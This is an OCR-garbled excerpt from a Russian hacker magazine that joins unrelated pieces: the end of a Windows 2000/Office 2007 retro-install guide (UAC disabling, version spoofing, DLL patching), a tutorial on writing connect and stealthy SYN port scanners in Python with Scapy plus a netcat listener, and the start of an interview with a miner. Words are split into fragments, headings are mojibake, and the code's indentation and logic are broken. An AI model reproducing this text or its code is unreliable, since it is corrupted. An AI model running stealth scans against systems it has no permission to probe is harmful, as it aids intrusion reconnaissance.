рация будет соп ровож дать ся всплы вающим сис темным пре дуп режде нием
и нам при дет ся нажимать «Да» боль ше 200 раз. Даже самому тер пеливо му
юзе ру это очень быс тро надо ест. Для отклю чения UAC в Windows 10 нуж но
сде лать сле дующее. Открой панель поис ка щел чком мыши на кноп ке с изоб -
ражени ем лупы в панели задач, набери  и наж ми появив ший ся зна чок

«Изме нение парамет ров кон тро ля учет ных записей». Перемес ти пол зунок вниз
в положе ние «Никог да не уве дом лять» и наж ми «Оk», затем под твер ди
это дей ствие в открыв шемся окне.

UAC

От клю чаем UAC

Те перь сно ва запус ти файл  в пап ке HFSLIP с пра вами адми нис тра тора.

Тебе пред ложат выб рать, как интегри ровать обновле ния в дис три бутив
Windows 2000: добавить ком понен ты в  с раз ной сте пенью ком -

прес сии либо соз дать новый архив  так же с исполь зовани ем раз ной

сте пени сжа тия. Я пред почел вари ант .

.CMD

DRIVERS.CAB
SPX.CAB
А

Вы бира ем режим работы HFSLIP

На сле дующем экра не тебе пред ложат задать имя пап ки на слу чай, если ты
исполь зуешь муль тизаг рузоч ный ком пакт-диск. Этот шаг мож но про пус тить,
нажав кла вишу Enter. Теперь нуж но подож дать, пока ути лита HFSLIP завер шит
свою работу — это зай мет некото рое вре мя. Ког да все обновле ния будут
интегри рова ны, в пап ке с HFSLIP появит ся новая дирек тория , а в

ней — новый модифи циро ван ный дис три бутив Windows 2000, боль шего раз -
мера, чем исходный. C этим дис три бути вом мы и будем работать даль ше.

SOURCESS

ÓÑÒÀÍÀÂËÈÂÀÅÌ WINDOWS 2000 È KERNELEX

Для начала нуж но соб рать обновлен ный дис три бутив в файл  — это мож но

сде лать, нап ример, с помощью бес плат ной прог раммы . Уста нови
и запус ти прог рамму, перета щи все фай лы дис три бути ва в окно CDBurnerXP,
а затем выбери в меню «Файл» пункт «Сох ранить про ект как ISO-образ». Если
компь ютер, на который ты собира ешь ся уста нав ливать Windows 2000, обо -
рудо ван опти чес ким при водом, можешь сра зу записать этот образ на ком -
пакт-диск.

.ISO
CDBurnerXP

Сох раня ем про ект в образ ISO

Ес ли опти чес кого при вода нет, получив ший ся образ нуж но записать на флеш ку
с помощью прог раммы  — не забудь сде лать флеш ку заг рузоч ной!
Теперь нуж но уста новить Windows 2000 c это го носите ля на наш компь ютер.
Если ты все сде лал пра виль но, уста нов ка дол жна прой ти стан дар тно
без каких-либо слож ностей.

Rufus

Ус танов ка Windows 2000

Ес ли на тво ем ком пе исполь зует ся диск SATA (а
такие дис ки уста нов лены прак тичес ки на всех
сов ремен ных ком пах и ноут буках), Windows
2000 на него не вста нет из-за отсутс твия соот -
ветс тву юще го драй вера — на началь ном эта пе
уста нов ки ты получишь ошиб ку
inaccessible_boot_device. Этот драй вер при дет ся
пред варитель но интегри ровать в дис три бутив.
Как это сде лать, написа но на ,
сам драй вер мож но взять на 
или на пор тале . Еще мож но поп -
робовать добавить драй вер в дис три бутив
с помощью ути литы  (работа ет толь ко
в Windows XP), но ни один из этих вари антов
не гаран тиру ет стоп роцен тно го успе ха. На компь -
юте рах с дис ками IDE Windows 2000 уста новит ся
без вся ких пля сок с буб ном.

фо руме Ru-Board
сай те раз работ чика

Old-DOS.ru

nLite

Пос ле завер шения уста нов ки Windows 2000 необ ходимо уста новить KernelEx.
Что бы при инстал ляции не было проб лем, луч ше ско пиро вать исполня емый
файл на рабочий стол и запус кать его отту да. Если пос ле запус ка KernelEx
будет выдавать ошиб ки и жаловать ся на недос тупность , переза -

пус ти Windows в SafeMode и уста нови KernelEx в этом режиме. Если прог рамма
поп росит тебя выб рать режим работы KernelEx, уста нови фла жок XP-compatible
winsock.

Shell32.dll

XP-compatible winsock необ ходим для пра виль -
ной работы Outlook 2007, но исполь зование этой
опции может вызывать зависа ние бра узе ров
и дру гих прог рамм. Если ты не пла ниру ешь уста -
нав ливать Microsoft Outlook, луч ше на вся кий
слу чай снять этот фла жок.

Пос ле уста нов ки KernelEx сис тема перезаг рузит ся. Если тебе нуж но исполь -
зовать несов мести мые драй веры XP, более 4 Гбайт опе ратив ной памяти
или боль ше двух потоков про цес сора, при дет ся допол нитель но уста новить
Extended Core — его так же мож но ска чать с сай та  или с

.
BlackWingCat

MSFN.org

ÓÑÒÀÍÀÂËÈÂÀÅÌ OFFICE 2007

По умол чанию в Windows 2000 мож но без проб лем уста новить толь ко мораль -
но уста рев ший Office 2003, который не под держи вает сов ремен ные фор маты
докумен тов. К сожале нию, ничего новее Office 2007 пос тавить на эту сис тему
тоже не получит ся, да и в том будут работать далеко не все фун кции. Нап -
ример, ты смо жешь прос матри вать зашиф рован ные докумен ты, но у тебя
не будет воз можнос ти их редак тировать.

Ес ли ты уста новишь Ofce 2007 опи сан ным
здесь спо собом, в даль нейшем уда лить его
из Windows 2000 из панели управле ния уже
не получит ся. Прог рамму при дет ся уда лять вруч -
ную, а затем чис тить реестр.

Итак, для начала нам пот ребу ется рас паковать дис три бутив Office
2007 на диск так же, как мы это делали рань ше с дис три бути вом Windows
2000. Это нуж но делать на той машине под управле нием Win2K, на которой ты
будешь его уста нав ливать.

Заг рузи ути литу fcwin088 с , соз дай на сис темном дис ке
какую-нибудь пап ку, нап ример , и рас пакуй в нее содер жимое

CAB-фай ла. В даль нейшем тебе понадо бят ся фай лы  из пап ки 
и .

сай та BlackWingCat
C:\fcwin088

NNN4NT5 tools
fcwin2k

Ес ли ты теперь поп робу ешь запус тить «род ную» прог рамму уста нов ки
Office 2007, ничего не получит ся:  прос то отка жет ся работать. Вмес -

то это го запус ти толь ко что рас пакован ное при ложе ние  — оно обма -
ныва ет уста нов щик, зас тавляя его думать, что он работа ет в более поз дней
вер сии Windows. В открыв шемся окне наж ми кноп ку Refer рядом с File и най ди
на дис ке исполня емый файл  из дис три бути ва Office 2007.
В выпада ющем спис ке OS Ver выбери Windows XP SP3, наж ми CompatSave,
а затем RunCompat.

setup.exe
fcwin2k

setup.exe

Ути лита fcwin2k

Те перь прог рамма  дол жна запус тить ся нор маль но и начать уста -
нов ку Office. Ско рее все го, ты не смо жешь ввес ти ключ про дук та (поле
для вво да клю ча будет нек ликабель ным), поэто му прос то наж ми «Далее» —
серий ник мож но ука зать поз же. В окне выбора ком понен тов отка жись от уста -
нов ки Microsoft Groove — эта прог рамма не работа ет в Windows 2000. Все
осталь ное мож но сме ло уста нав ливать.

setup.exe

При желании уста нови Office 2007 Service Pack 3 — этот пакет обновле ний
уже отсутс тву ет на офи циаль ном сай те Microsoft, но, по счастью, он 

.
сох ранил ся

в Web Archive
Ес ли теперь ты поп робу ешь запус тить любое при ложе ние Office, то ты

получишь ошиб ку This program requires a newer version of Windows («Эта прог -
рамма тре бует более новой вер сии Windows»). Что бы изба вить ся от нее,
запус ти при ложе ние  из ком плек та пос тавки fcwin088. Эта прог рамма
обма нет сис тему: при ложе ния будут счи тать, что они работа ют в Windows XP.
Дан ный трюк поз волит тебе запус кать более-менее сов ремен ные прог раммы,
но вызовет проб лемы, если ты захочешь уста новить спе цифич ные для Win2K
при ложе ния или ком понен ты (нап ример, допол нитель ный кли ент Remote
Desktop Connection, не вклю чен ный по умол чанию в Windows 2000).

NNN4NT5

Ути лита NNN4NT5

Ес ли тебе нужен кли ент Remote Desktop
Connection, уста нови его ПЕРЕД запус ком

. Он отка жет ся работать, если будет
думать, что ты исполь зуешь XP, поэто му либо
уста нав ливай его заранее, либо вер ни вне сен ные
в сис тему с помощью  изме нения, уста -
нови RDC, а затем сно ва при мени .

NNN4NT5

NNN4NT5
NNN4NT5

Мы про дела ли уже мно го манипу ляций с Office 2007, но, нес мотря на это, он
все рав но отка жет ся работать — на сей раз из-за отсутс твия биб лиоте ки

. На самом деле ошиб ка  свя -

зана с дру гой биб лиоте кой — , которая отве чает за кор рек тное
отоб ражение тек ста в фор мате Rich Text Format (RTF), в том чис ле в окнах уста -
нов ки при ложе ний. Имен но поэто му мы не мог ли ввес ти серий ник на эта пе
инстал ляции Office.

msvcr90.dll msvcr90.dll could not be found
riched20.dll

Ак туаль ную вер сию фай ла  мож но взять из HFSLIP — этот

файл в сжа том виде ( ) лежит в пап ке . Саму

биб лиоте ку мож но извлечь из фай ла с помощью 7-Zip и заменить ею ори -
гиналь ный файл в . Если это не поможет решить проб -

лему, уста нови  либо прос то вытащи
отту да одну эту биб лиоте ку и замени ей биб лиоте ку в пап ке .

riched20.dll
riched20.dl_ \SOURCESS\I386

C:\WINNT\system32
не офи циаль ный SP 5.1 для Windows 2000

system32
Те перь оста лось толь ко ввес ти ключ про дук та, если ты не сде лал это го

рань ше. Зак рой все при ложе ния Office и сно ва запус ти прог рамму уста нов ки.
Ког да на экра не отоб разит ся окно с пред ложени ем ука зать ключ про дук та, вве -
ди в соот ветс тву ющее поле серий ный номер и наж ми «Далее» — спус тя нес -
коль ко секунд прог рамма уста нов ки завер шит свою работу, но теперь ключ
будет зарегис три рован в при ложе нии.

Шрифт по умол чанию в Microsoft Office 2007 — Colibri, который обыч но
пре дус танов лен в более поз дних вер сиях Windows. Открой пап ку 

 и убе дись, что там при сутс тву ет файл это го шриф та. Если

такой шрифт в сис теме не зарегис три рован, най ди его в интерне те, ска чай
и уста нови на компь юте ре.

C:\WINNT\
system32\Fonts

Âêëþ÷àåì ïîääåðæêó çàøèôðîâàííûõ äîêóìåíòîâ

К это му момен ту Office 2007 в основном работа ет, и ты смо жешь нор маль но
откры вать и сох ранять фай лы. Одна ко, ско рее все го, у тебя не получит ся
откры вать докумен ты, зашиф рован ные в новых вер сиях Office. Что бы испра -
вить это, тебе нуж но заменить некото рые DLL-фай лы фай лами для Windows XP.
Необ ходимые биб лиоте ки мож но най ти в обновле ниях
KB3081320 и KB2868626.

От крой Microsoft Update и заг рузи обновле ния KB3081320 для Windows XP
Embedded (Security Update for WEPOS and POSReady 2009 (KB3081320)
Windows XP Embedded Security Updates, 11/9/2015, 719 Кбайт)
и KB2868626 для Windows XP (Security Update for Windows XP (KB2868626)
Windows XP, 11/11/2013, 754 Кбайт). Не уста нав ливай эти обновле ния — вмес то
это го нуж но извлечь биб лиоте ки ,  и 
из обновле ния KB3081320 для POSReady и  из KB2868626.

dssenh.dll rsaenh.dll schannel.dll
crypt32.dll

Ты не смо жешь исполь зовать архи ватор 7-Zip, что бы извлечь исполня емые
фай лы из пакетов обновле ний. Вмес то это го открой коман дную стро ку
и перей ди в локаль ную пап ку, куда ты сох ранил ска чан ные апдей ты. Затем
выпол ни сле дующую коман ду (пред полага ется, что обновле ние заг ружено
для англий ской вер сии Windows):

windowsxp-kb2868626-x86-enu_
1a00424d2070b57a4d9e2e73e54d90f51bb0562a.exe /extract

В открыв шемся окне наж ми OK, что бы извлечь фай лы. Сде лай то же самое
для дру гого обновле ния:

windowsxp-kb3081320-x86-embedded-enu_
d8e991e08445605d85c48425684c7850d1d63a36.exe /extract

Сох рани нуж ные DLL-фай лы в какую-нибудь пап ку на дис ке, исходные фай лы
обновле ний теперь мож но уда лить. Оче вид но, что Windows не поз волит
заменить биб лиоте ки, ког да опе раци онная сис тема заг ружена, поэто му вос -
поль зуйся каким-нибудь Live CD и замени эти биб лиоте ки в пап ке 

.

C:\WINNT\
system32

Пос ле замены биб лиоте ки  новой вер сией зашиф рован ные фай лы

в Word и Excel будут откры вать ся нор маль но, но Microsoft Outlook, ско рее все -
го, перес танет работать, пос коль ку это при ложе ние исполь зует ста рую вер сию
биб лиоте ки. Если тебе все-таки нужен Outlook, сох рани ори гиналь ную биб -
лиоте ку  под име нем , ска чай и уста нови 

, затем открой в нем файл 
, наж ми CTRL-F для поис ка crypt32. Дол жно най -

тись одно сов падение. Исправь  на  и сох рани файл.

crypt32.dll

crypt32.dll crypt33.dll ре дак тор

HxD C:\Program Files\Common Files\Microsoft
Shared\OFFICE12\MSO.dll

crypt32 crypt33
Пос ле это го при каж дом откры тии Outlook будет появ лять ся пре дуп режде -

ние о недей стви тель ном сер тифика те безопас ности. Ты можешь отклю чить
пре дуп режде ние и про дол жать поль зовать ся Outlook, но каж дый раз при стар -
те прог раммы диалог вылезет.

ÔÈÍÀËÜÍÛÅ ØÒÐÈÕÈ

Фак тичес ки Windows 2000 в таком виде уже мож но поль зовать ся. Что бы
интерфейс луч ше вос при нимал ся, щел кни пра вой кноп кой мыши на рабочем
сто ле, выбери Properties («Свой ства»), перей ди на вклад ку Effects («Эффекты»)
и уста нови фла жок Smooth edges of screen fonts («Сгла живать края экранных
шриф тов»).

Для под дер жки сетей Wi-Fi с WPA2 в Windows 2000 рекомен дую ска чать
и уста новить прог рамму  с офи циаль ного сай та или с .
Мно гие драй веры к Windows 2000 SP4 под ходят от ХР, род ные «дро ва» все
еще мож но най ти в интерне те или в .

WiFi Hopper тор рента

веб-архи ве
На моем Toshiba P35 Win2K кру тит ся доволь но быс тро, Office 2007 поз -

воля ет редак тировать докумен ты в сов ремен ных фор матах, Firefox — бро дить
по сети (приш лось уста новить допол нения для под дер жки HTTPS), а вмес то
поч тового кли ента я пос тавил The Bat. Получи лась сим патич ная пишущая
машин ка, которую мож но отпра вить доживать свой век на дачу, что бы
на досуге писать на ней статьи в «Хакер», а в сво бод ное вре мя — играть в UFO
и вто рой Warcraft.

•Пос ледние сов мести мые с Windows 2000 вер -
сии популяр ного соф та

•Ана логич ный спи сок для сис темы с KernelEx
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КОДИНГ

С чего начина ется ата ка на сер вер? Пра -
виль но, с раз ведки! Ска неров пор тов
сущес тву ет мно жес тво, и они быс тро
и эффектив но справ ляют ся со сво ей
задачей. Но нас тоящий хакер дол жен
понимать, как работа ют его любимые инс -
тру мен ты, так что сегод ня мы в учеб ных
целях напишем собс твен ный ска нер, и я
рас ска жу, какие методы ска ниро вания луч -
ше никог да не исполь зовать.

Сна чала мы изу чим теоре тичес кую часть: как вооб ще работа ет соеди нение,
как оно уста нав лива ется и как мож но исполь зовать эти механиз мы. Тут я
покажу «пло хую» реали зацию ска нера. Затем мы раз берем ска нер здо рово го
челове ка и реали зуем его самос тоятель но.

ÒÅÎÐÈß

Для начала пос мотрим, как сетевые устрой ства вза имо дей ству ют друг с дру -
гом в клас сичес ком слу чае. Для это го исполь зуют ся сокеты, которые упро щен -
но мож но изоб разить как тру бы. При этом у каж дой тру бы два кон ца — это и
есть сокеты. Один конец тру бы находит ся на одном компь юте ре, дру гой —
на дру гом, а прог раммы могут что-то помещать в такие «тру бы» или читать
из них.

Су щес тву ет два типа сокетов: TCP и UDP. Они отли чают ся тем, что про исхо -
дит в пути от одно го кон ца тру бы к дру гому. TCP-сокет гаран тиру ет, что пакеты
будут дос тавле ны до дру гого кон ца тру бы в нуж ном поряд ке и без потерь —
если это вооб ще воз можно, разуме ется. А вот UDP-сокеты работа ют на ско -
рость и могут потерять или перепу тать пакеты по дороге.

Наг лядное объ ясне ние

Ви деос вязь, нап ример, отлично исполь зует пре иму щес тва UDP. Если
с каналом вдруг что-то не так, какие-то пакеты прос то потеря ются, а оставши -
еся дой дут в срок, и какая-никакая кар тинка все рав но будет.

ÏÈØÅÌ ÑÊÀÍÅÐ ÍÀ ÑÎÊÅÒÀÕ

Этот ска нер — самый прос той и оче вид ный. Что бы узнать, какие пор ты откры -
ты, мож но прос то поп робовать под клю чить ся к ним пооче ред но и пос мотреть,
что будет.

Все при меры кода при вожу на Python 3.10, а работать я пред почитаю
в PyCharm, хотя и не навязы ваю тебе свой выбор.

Соз даем прог рамму и импорти руем основные модули:

 import socket
   from datetime import datetime

 import sys

Под робнее узнать о работе с модулем socket
мож но в .офи циаль ной докумен тации

За пом ним вре мя запус ка прог раммы — в даль нейшем это при годит ся, что бы
узнать вре мя ска ниро вания.

  start = datetime.now()

Хра нить пары из пор тов и наз ваний сер висов будем пря мо в коде.
При желании можешь про апгрей дить этот метод, нап ример до фай лов JSON.

  ports = {
          20: "FTP-DATA", 21: "FTP", 22: "SSH", 23: "Telnet",
          25: "SMTP", 43: "WHOIS", 53: "DNS", 80: "http",
          115: "SFTP", 123: "NTP", 143: "IMAP", 161: "SNMP",
        179: "BGP", 443: "HTTPS", 445: "MICROSOFT-DS",
        514: "SYSLOG", 515: "PRINTER", 993: "IMAPS",
        995: "POP3S", 1080: "SOCKS", 1194: "OpenVPN",
        1433: "SQL Server", 1723: "PPTP", 3128: "HTTP",
        3268: "LDAP", 3306: "MySQL", 3389: "RDP",
          

 
5432: "PostgreSQL", 5900: "VNC", 8080: "Tomcat", 10000:

"Webmin" }

Пре обра зуем передан ный аргу мент в IP-адрес. Для это го скор мим пер вый
аргу мент коман дной стро ки нашего ска нера фун кции 

 — бонусом получим раз решение DNS, если переда но домен ное имя,
а не IP-адрес.

socket.gethostbyname(
string)

  host_name = sys.argv[1]
  ip = socket.gethostbyname(host_name)

Те перь в цик ле обой дем все пор ты из спис ка и про верим воз можность под -
клю чения к ним. Если порт зак рыт, будет вызывать ся исклю чение, которое мы
перех ватим, и прог рамма не вылетит.

В кон це работы сох раня ем вре мя окон чания и выводим на экран дли тель -
ность ска ниро вания.

   for port in ports:
   cont = socket.socket()
 cont.settimeout(1)
 try:

       cont.connect((ip, port))
  except socket.error:
      pass
 else:
      print(f"{socket.gethostbyname(ip)}:{str(port)} is open/{

ports[port]}")
        cont.close()

  ends = datetime.now()
  print("<Time:{}>".format(ends - start))

input("Press Enter to the exit....")

Те перь, что бы про тес тировать работу нашего ска нера, откро ем тер минал,
перей дем в пап ку со ска нером и выпол ним коман ду

  python.exe socket.py 45.33.32.156

Ес ли ты работа ешь на Linux, исполь зуй коман ду
, что бы слу чай но не нар вать ся на уста -

рев ший Python.
python3

Са мо собой, вмес то IP в при мере мож но ука зать любой хост.
Да вай пос мотрим, как это выг лядит со сто роны сер вера. Для это го вос -

поль зуем ся ста рич ком . Ска чай его и запус ти сле дующим обра зом:Netcat

  ncat.exe -lnvp 123

Netcat может понадо бить ся внес ти в белый спи -
сок анти виру са или сог ласовать уста нов ку с кор -
поратив ной служ бой безопас ности. Netcat час то
исполь зуют хакеры, что бы под нять шел лы в ском -
про мети рован ных сис темах, так что ругань анти -
виру са впол не оправдан на.

В сосед нем тер минале запус каем наш ска нер изу чать наш собс твен ный IP-
адрес. Пос мотреть его мож но в выводе коман ды . В резуль тате

в окне с Netcat про изой дет сле дующее.

ipconfig /all

Ре акция Netcat на ска ниро вание

На скрин шоте вид но, что было уста нов лено пол ноцен ное соеди нение, и,
конеч но, в реаль нос ти любая прог рамма тоже это уви дит, то есть незамет но
прос каниро вать кого-то таким обра зом не получит ся.

Так же давай теперь прос каниру ем сер вер  (имен но его IP

был в пер вом при мере). Резуль таты будут выг лядеть при мер но так:

scanme.nmap.org

 Address: 45.33.32.156
  45.33.32.156:22 is open/SSH
  45.33.32.156:80 is open/http

Ска нер нашел два откры тых пор та — 22 и 80. Но если прос каниро вать этот же
хост при помощи Nmap, уви дим, что откры тых пор тов нам ного боль ше.

     Nmap scan report for scanme.nmap.org (45.33.32.156)
    Host is up (0.22s latency).

    Not shown: 994 closed ports
 PORT      STATE SERVICE

      22/tcp open ssh
      80/tcp open http

    1720/tcp open h323q931
    5060/tcp open sip
    9929/tcp open nping-echo
   31337/tcp open Elite

           Nmap done: 1 IP address (1 host up) scanned in 5.02 seconds

По чему так? Nmap про ходит по зна читель но боль шему спис ку пор тов, чем наш
ска нер, и, соот ветс твен но, видит боль ше. Если мы добавим эти пор ты в наш
ска нер, он тоже их най дет.

По нят но, что такой ска нер вряд ли при меним в реаль ных усло виях, кро ме
сов сем уж экзо тичес ких: нап ример, ког да ска ниро вать надо с машины,
на которую невоз можно дос тавить пол ноцен ный ска нер, но на которой уже
есть Python.

Да вай луч ше поп робу ем сде лать ска нер, который не ста нет так палить ся
и работать будет куда быс трее.

ÎÏÒÈÌÈÇÀÖÈÈ

Что бы сде лать наш ска нер более эффектив ным и скрыт ным, нуж но не уста нав -
ливать соеди нение, ведь это тре бует целых три пакета (тре хэтап ное рукопо -
жатие) плюс допол нитель ное вре мя, что бы зак рыть соеди нение. Но как узнать,
открыт ли порт, не пыта ясь под клю чить ся?

Ока зыва ется, метод есть. Зак люча ется он в том, что необя затель но завер -
шать все три эта па рукопо жатия — тог да соеди нение не будет уста нов лено,
а зна чит, не нуж но будет и зак рывать его. Узнать, открыт ли порт, мож но
в отве те на пер вый же пакет, отправ ленный сер веру, так что здо рово сэконо -
мишь вре мя, если искусс твен но делать непол ное рукопо жатие. Бонусом
получа ем скрыт ность: если соеди нение не уста нов лено, то прог раммы
на целевой машине и не узна ют, что их кто-то ска ниру ет.

Как работа ет тре хэтап ное рукопо жатие? Сна чала ини циатор соеди нения
отправ ляет дру гой машине на инте ресу ющий порт пакет с фла гом SYN. Если
порт открыт, дол жен прий ти ответ с фла гами SYN и ACK. Если порт зак рыт,
поведе ние может быть раз ным, но в нор маль ном слу чае в отве те дол жен быть
флаг RST.

Ес ли ини циатор еще не раз думал откры вать соеди нение, он дол жен отпра -
вить еще один пакет, но уже толь ко с фла гом ACK, пос ле чего соеди нение
будет счи тать ся уста нов ленным.

Клю чевой момент тут в том, что отправ лять финаль ный ACK совер шенно
не обя затель но, так как узна ем ста тус пор та мы уже пос ле вто рого пакета,
а тре тий заберет у нас дра гоцен ное вре мя и лишит скрыт ности.

Что бы зак рыть соеди нение, нуж но отпра вить пакет с фла гами FIN и ACK.
Эта информа ция нам сегод ня не понадо бит ся и нуж на толь ко для более пол -
ного понима ния, что про исхо дит с TCP-соеди нени ем на раз ных эта пах его жиз -
ни.

SYN-ÑÊÀÍÅÐ ÍÀ PYTHON

Соз даем новый скрипт на Python и импорти руем нуж ные модули:

      from scapy.layers.inet import ICMP, IP, TCP, sr1
 import socket

   from datetime import datetime

Ес ли ты получил ошиб ку вида 

, зна чит, нуж но доус тановить модуль  из PyPI: 

.

ModuleNotFoundError: No module named
'scapy' scapy pip install
scapy

До кумен тация Scapy

В этот раз перед ска ниро вани ем неп лохо бы про верить, дос тупна ли целевая
машина. Для это го мож но отпра вить ICMP Echo Request (в прос тонародье —
пинг):

  start = datetime.now()

# Здесь проверяется, в сети ли сервер
 def icmp_probe(ip):

       icmp_packet = IP(dst=ip) / ICMP()
   # Отправка и прием одного пакета
      resp_packet = sr1(icmp_packet, timeout=10)
       return resp_packet is not None

Те перь напишем саму фун кцию ска ниро вания. Она будет обхо дить все пор ты,
слать SYN-пакеты и ожи дать отве та.

  def syn_scan(ip, ports):
   # Проходимся по каждому порту
      for port in ports:
       # Флаг S означает SYN-пакет

            syn_packet = IP(dst=ip) / TCP(dport=port, flags="S")
       # Время ожидания пакета можно ставить свое

          resp_packet = sr1(syn_packet, timeout=10)
           if resp_packet is not None:

                if resp_packet.getlayer('TCP').flags & 0x12 != 0:
               print(f"{ip}:{port} is open/{resp_packet.sprintf(

'%TCP.sport%')}")

  ends = datetime.now()

Порт будет счи тать ся откры тым, если в ответном пакете уста нов лены фла ги
SYN и ACK (или хотя бы один из них).

Что бы узнать, какой сер вис соот ветс тву ет какому пор ту, в этот раз мы
не будем изоб ретать свой спи сок, а вос поль зуем ся готовым, который пре дос -
тавля ет сам Scapy. Мож но исполь зовать фун кцию ,

в выводе которой ука зыва ется сер вис, соот ветс тву ющий целево му пор ту.

resp_packet.show()

###[ IP ]###
    version = 4

 ihl       = 5
 tos       = 0x0
 len       = 44
 id        = 0

      flags = DF
 frag      = 0
 ttl       = 57

      proto = tcp
     chksum = 0x71c4

 src       = ip_цели
 dst       = ip_атакующего

\    \options
###[ TCP ]###

      sport = ssh
      dport = ftp_data

 seq       = 986259409
 ack       = 1

    dataofs = 6
   reserved = 0

      flags = SA
     window = 65535
     chksum = 0x6d61
     urgptr = 0
     options = [('MSS', 1436)]

Ос талось все го ничего: скор мить фун кции спи сок пор тов для про вер ки
и реали зовать ввод информа ции о цели. Этим и зай мет ся фун кция . В этот

раз сде лаем инте рак тивный ввод адре са цели и пред варитель ную про вер ку
дос тупнос ти цели перед ска ниро вани ем.

main

   if __name__ == "__main__":
     name = input("Hostname / IP Address: ")
   # Узнаем IP цели
     ip = socket.gethostbyname(name)
   # Обозначаем порты для сканирования
            ports = [20, 21, 22, 23, 25, 43, 53, 80,

                  115, 123, 143, 161, 179, 443, 445,
                 514, 515, 993, 995, 1080, 1194,
                 1433, 1723, 3128, 3268, 3306, 3389,
                5432, 5060, 5900, 8080, 10000]

   # Перехватываем исключения в момент, когда заканчивается 
кортеж
   try:
       # Если не удалось подключиться к серверу, выводим ошибку

        if icmp_probe(ip):
              syn_ack_packet = syn_scan(ip, ports)

           syn_ack_packet.show()
       else:
           print("Failed to send ICMP packet")
    except AttributeError:
       print("Scan completed!")

         print("<Time:{}>".format(ends - start))

В мас сив  нуж но записать пор ты, которые ты собира ешь ся ска ниро вать.

Необя затель но переби рать все: даже Nmap по умол чанию ска ниру ет толь ко
топ-1000 самых популяр ных, а осталь ные усколь зают и от него, если явно
не зат ребовать пол ное ска ниро вание ( ).

ports

-p-
На пос ледней ите рации цик ла про исхо дит ошиб ка (мас сив закан чива ется),

а зна чит, мож но исполь зовать это событие, что бы сооб щить о завер шении
работы.

Пос коль ку мы теперь зап рашива ем адрес в самом скрип те, его мож но
запус кать без вся ких парамет ров.

 python.exe synscaner.py

Ес ли сно ва открыть Netcat и прос каниро вать его, то ска нер покажет откры тый
порт, но никако го под клю чения не слу чит ся. Про вер ка на скрыт ность прой -
дена!

При мер работы SYN-ска нера

Пол ный код смот ри в моем 
на GitHub. Там есть и доработ ки, которые
не были рас смот рены в статье, нап ример гра -
фичес кий интерфейс на PyQt.

ре пози тории

Те перь давай прос каним какой-нибудь пуб личный сер вер (тот же 
) и при помощи Wireshark пос мотрим, какие пакеты ходят. Запус тим

Wireshark, а затем и ска ниро вание.

scanme.
nmap.org

Что бы не запутать ся и не уто нуть в потоке информа ции, который изверга ет
Wireshark, давай при меним филь тр. Дос таточ но будет показать пакеты,
которые отправ лены или получе ны от хос та с IP 45.33.32.156.

  ip.addr == 45.33.32.156

Пос ле при мене ния филь тра окно Wireshark выг лядит так.

Ре зуль таты филь тра ции

Пер вым в спис ке видим ICMP-пакет (пинг), который отправ лялся для про вер ки
дос тупнос ти. Даль ше идут пакеты с фла гами RST/ACK (зак рытые пор ты)
и SYN/ACK (откры тые пор ты).

ÇÀÊËÞ×ÅÍÈÅ

Се год ня мы рас смот рели два метода ска ниро вания: с уста нов лени ем соеди -
нения и без него. За рам ками статьи оста лось ска ниро вание пор тов UDP, так
как оно нам ного слож нее и нуж но реже. Тем не менее Scapy поз волит реали -
зовать и его, если тебе это вдруг понадо бит ся. Не забывай, что подоб ные
прог раммы — это в пер вую оче редь опыт, а не замена готовым инс тру мен там.
Имен но зна ние того, как все устро ено внут ри, дела ет тебя нас тоящим
хакером!

mailto:vlad.klintov@mail.ru
https://docs.python.org/3/library/socket.html
https://nmap.org/ncat/
https://scapy.readthedocs.io/en/latest/
https://github.com/NeoCreat0r/synscan
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ZeroCo0l — энту зиаст май нин га, зараба -
тыва ющий на сво ей фер ме из 80 виде -
окарт око ло 90 дол ларов в день. В пред -
две рии перехо да эфи ра на proof of stake
Даня Шепова лов погово рил с ним о том,
чем зай мут ся май неры, ког да май нить
эфир боль ше не получит ся, как искать
супер при быль ные сек ретные монет ки
и име ет ли смысл нович кам сей час
собирать май нинг-фер му с нуля.

Не забудь под писать ся на телег рам-канал Дани
Шепова лова « », что бы не про пус -
кать новые автор ские матери алы, и заг лядывай
на .

Ве чер ний Даня

danya.ru

— Â ñåðåäèíå ñåíòÿáðÿ íà÷íåòñÿ ïåðåõîä Ethereum íà PoS. Òû
ìàéíèøü ýôèð? Êàê âîîáùå ýòî ñîáûòèå ñêàæåòñÿ íà ìàéíåðàõ?
— Ну, далеко не факт, что это про изой дет в середи не сен тября, навер няка
будут задер жки, как это по клас сике про исхо дит с эфи ром из года в год.

Нас чет май нин га: да, в дан ный момент я май ню эфир. Навер ное, уже года
два никаких сек ретных монет мы не копали. Эфир стре лял неод нократ но, осо -
бен ный жор был в момент трен да DeFi, так как комис сия в сети эфи ра была
очень высокая, а получа ли ее май неры.

Во обще, я счи таю, что переход эфир ки на PoS очень позитив но ска жет ся
на индус трии: наконец-то нач нут пилить новые монеты имен но под 30-ю
или 40-ю серию, акти визи руют ся раз работ чики, думаю, мы уви дим пам пы
таких монет, как ETC, RVN, ZEC. Не эфи ром еди ным, да и биток ник то не отме -
нял.

Ну и как-то в целом дос тало это веч ное чувс тво «ожи дания поса» — толь ко
жути нагоня ют. Сей час око ло 83% всех GPU май нят эфир, эти мощ ности нуж но
будет куда-то раз мазывать.

— Òàê, ïîãîäè, äàâàé ïîïîäðîáíåå, ïî÷åìó áóäóò ïàìïû ETC, RVN,
ZEC?
— Про памп этих монеток — это чис то лич ное мне ние. Таким ребятам,
как AMD и Nvidia, нуж но про давать свое железо. Я думаю, они и будут пам пить
какие-то из этих монет. Не финан совый совет ни в коем слу чае!

Памп (от pumping) — спла ниро ван ное и орга низо -
ван ное повыше ние цены монеты.

— «30-þ èëè 40-þ ñåðèþ» — èìåþòñÿ â âèäó âèäåîêàðòû Nvidia?
— Да, кар точки Nvidia. Май нинг на AMD я в прин ципе не рас смат риваю.

— À ÷òî íå òàê ñ AMD?
— Да все так, AMD хорошо пашут на Etchash и ETH. Кар ты AMD очень чувс тви -
тель ны к нас трой кам раз гона, а иног да и вов се шить надо. У Nvidia в этом пла -
не нет проб лем, зажевы вает любой алго.

— Ãåéìåðû æå íåíàâèäÿò ìàéíåðîâ çà òî, ÷òî òå ñêóïàþò
âèäåîêàðòû?
— Ско рее все го. Сов сем недав но кар точки были в дефици те и сто или очень
дорого, но сей час, я думаю, ситу ация рез ко поменя ется, карт ста ло очень мно -
го на вто рич ке и по очень хорошим ценам.

— Èç-çà áëèçêîãî ïåðåõîäà ýôèðà íà PoS?
